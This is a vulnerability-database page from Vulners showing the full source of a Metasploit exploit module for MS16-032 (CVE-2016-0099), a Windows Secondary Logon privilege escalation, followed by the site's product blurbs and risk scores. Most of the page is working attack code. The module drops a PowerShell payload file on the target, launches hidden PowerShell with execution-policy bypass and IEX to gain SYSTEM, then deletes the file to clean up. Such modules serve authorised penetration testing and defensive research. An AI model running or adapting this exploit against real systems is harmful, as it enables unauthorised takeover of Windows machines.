Lucene search
K

Microsoft Windows 7 < 10 / 2008 < 2012 (x86/x64) - Secondary Logon Handle Privilege Escalation (MS16-032) (Metasploit)

🗓️ 13 Jul 2016 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 285 Views

This module exploits the lack of sanitization of standard handles in Windows' Secondary Logon Service. The vulnerability affects versions of Windows 7-10 and 2k8-2k12 32 and 64 bit. This module will only work against those versions of Windows with Powershell 2.0 or later and systems with two or more CPU cores

Related
Code
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/payload_generator'
require 'msf/core/exploit/powershell'
require 'rex'

class MetasploitModule < Msf::Exploit::Local

  Rank = NormalRanking

  include Msf::Exploit::Powershell
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Process
  include Msf::Post::File
  include Msf::Post::Windows::ReflectiveDLLInjection

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'MS16-032 Secondary Logon Handle Privilege Escalation',
      'Description'   => %q{
        This module exploits the lack of sanitization of standard handles in Windows' Secondary
        Logon Service.  The vulnerability is known to affect versions of Windows 7-10 and 2k8-2k12
        32 and 64 bit.  This module will only work against those versions of Windows with
        Powershell 2.0 or later and systems with two or more CPU cores.
      },
       'License'       => BSD_LICENSE,
       'Author'        =>
         [
           'James Forshaw', # twitter.com/tiraniddo
           'b33f',          # @FuzzySec, http://www.fuzzysecurity.com'
           'khr0x40sh'
         ],
       'References'    =>
         [
           [ 'MS', 'MS16-032'],
           [ 'CVE', '2016-0099'],
           [ 'URL', 'https://twitter.com/FuzzySec/status/723254004042612736' ],
           [ 'URL', 'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html']
         ],
        'DefaultOptions' =>
          {
            'WfsDelay' => 30,
            'EXITFUNC' => 'thread'
          },
        'DisclosureDate' => 'Mar 21 2016',
        'Platform'      => [ 'win' ],
        'SessionTypes'  => [ 'meterpreter' ],
        'Targets'        =>
          [
            # Tested on (32 bits):
            # * Windows 7 SP1
            [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
            # Tested on (64 bits):
            # * Windows 7 SP1
            # * Windows 8
            # * Windows 2012
            [ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
          ],
        'DefaultTarget' => 0
      ))

    register_advanced_options(
      [
        OptString.new('W_PATH', [false, 'Where to write temporary powershell file', nil]),
        OptBool.new(  'DRY_RUN', [false, 'Only show what would be done', false ]),
        # How long until we DELETE file, we have a race condition here, so anything less than 60
        # seconds might break
        OptInt.new('TIMEOUT', [false, 'Execution timeout', 60])
      ], self.class)
  end

  def get_arch
    arch = nil

    if sysinfo["Architecture"] =~ /(wow|x)64/i
      arch = ARCH_X86_64
    elsif sysinfo["Architecture"] =~ /x86/i
      arch = ARCH_X86
    end

    arch
  end

  def check
    os = sysinfo["OS"]

    if os !~ /win/i
      # Non-Windows systems are definitely not affected.
      return Exploit::CheckCode::Safe
    end

    Exploit::CheckCode::Detected
  end

  def exploit
    if is_system?
      fail_with(Failure::None, 'Session is already elevated')
    end

    arch1 = get_arch
    if check == Exploit::CheckCode::Safe
      print_error("Target is not Windows")
      return
    elsif arch1 == nil
      print_error("Architecture could not be determined.")
      return
    end

    # Exploit PoC from 'b33f'
    ps_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-0099', 'cve_2016_0099.ps1')
    vprint_status("PS1 loaded from #{ps_path}")
    ms16_032 = File.read(ps_path)

    cmdstr = expand_path('%windir%') << '\\System32\\windowspowershell\\v1.0\\powershell.exe'

    if datastore['TARGET'] == 0 && arch1 == ARCH_X86_64
      cmdstr.gsub!("System32","SYSWOW64")
      print_warning("Executing 32-bit payload on 64-bit ARCH, using SYSWOW64 powershell")
      vprint_warning("#{cmdstr}")
    end

    # payload formatted to fit dropped text file
    payl = cmd_psh_payload(payload.encoded,payload.arch,{
      encode_final_payload: false,
      remove_comspec: true,
      method: 'old'
    })

    payl.sub!(/.*?(?=New-Object IO)/im, "")
    payl = payl.split("';$s.")[0]
    payl.gsub!("''","'")
    payl = "$s=#{payl}while($true){Start-Sleep 1000};"

    @upfile=Rex::Text.rand_text_alpha((rand(8)+6))+".txt"
    path = datastore['W_PATH'] || pwd
    @upfile = "#{path}\\#{@upfile}"
    fd = session.fs.file.new(@upfile,"wb")
    print_status("Writing payload file, #{@upfile}...")
    fd.write(payl)
    fd.close
    psh_cmd = "IEX `$(gc #{@upfile})"

    #lpAppName
    ms16_032.gsub!("$cmd","\"#{cmdstr}\"")
    #lpcommandLine - capped at 1024b
    ms16_032.gsub!("$args1","\" -exec Bypass -nonI -window Hidden #{psh_cmd}\"")

    print_status('Compressing script contents...')
    ms16_032_c = compress_script(ms16_032)

    if ms16_032_c.size > 8100
      print_error("Compressed size: #{ms16_032_c.size}")
      error_msg = "Compressed size may cause command to exceed "
      error_msg += "cmd.exe's 8kB character limit."
      print_error(error_msg)
    else
      print_good("Compressed size: #{ms16_032_c.size}")
    end

    if datastore['DRY_RUN']
      print_good("cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}")
      return
    end

    print_status("Executing exploit script...")
    cmd = "cmd.exe /C powershell -exec Bypass -nonI -window Hidden #{ms16_032_c}"
    args = nil

    begin
      process = session.sys.process.execute(cmd, args, {
        'Hidden' => true,
        'Channelized' => false
      })
    rescue
      print_error("An error occurred executing the script.")
    end
  end

  def cleanup
    sleep_t = datastore['TIMEOUT']
    vprint_warning("Sleeping #{sleep_t} seconds before deleting #{@upfile}...")
    sleep sleep_t

    begin
      rm_f(@upfile)
      print_good("Cleaned up #{@upfile}")
    rescue
      print_error("There was an issue with cleanup of the powershell payload script.")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Jul 2016 00:00Current
7.6High risk
Vulners AI Score7.6
CVSS 27.2
CVSS 3.17.8
EPSS0.90442
SSVC
285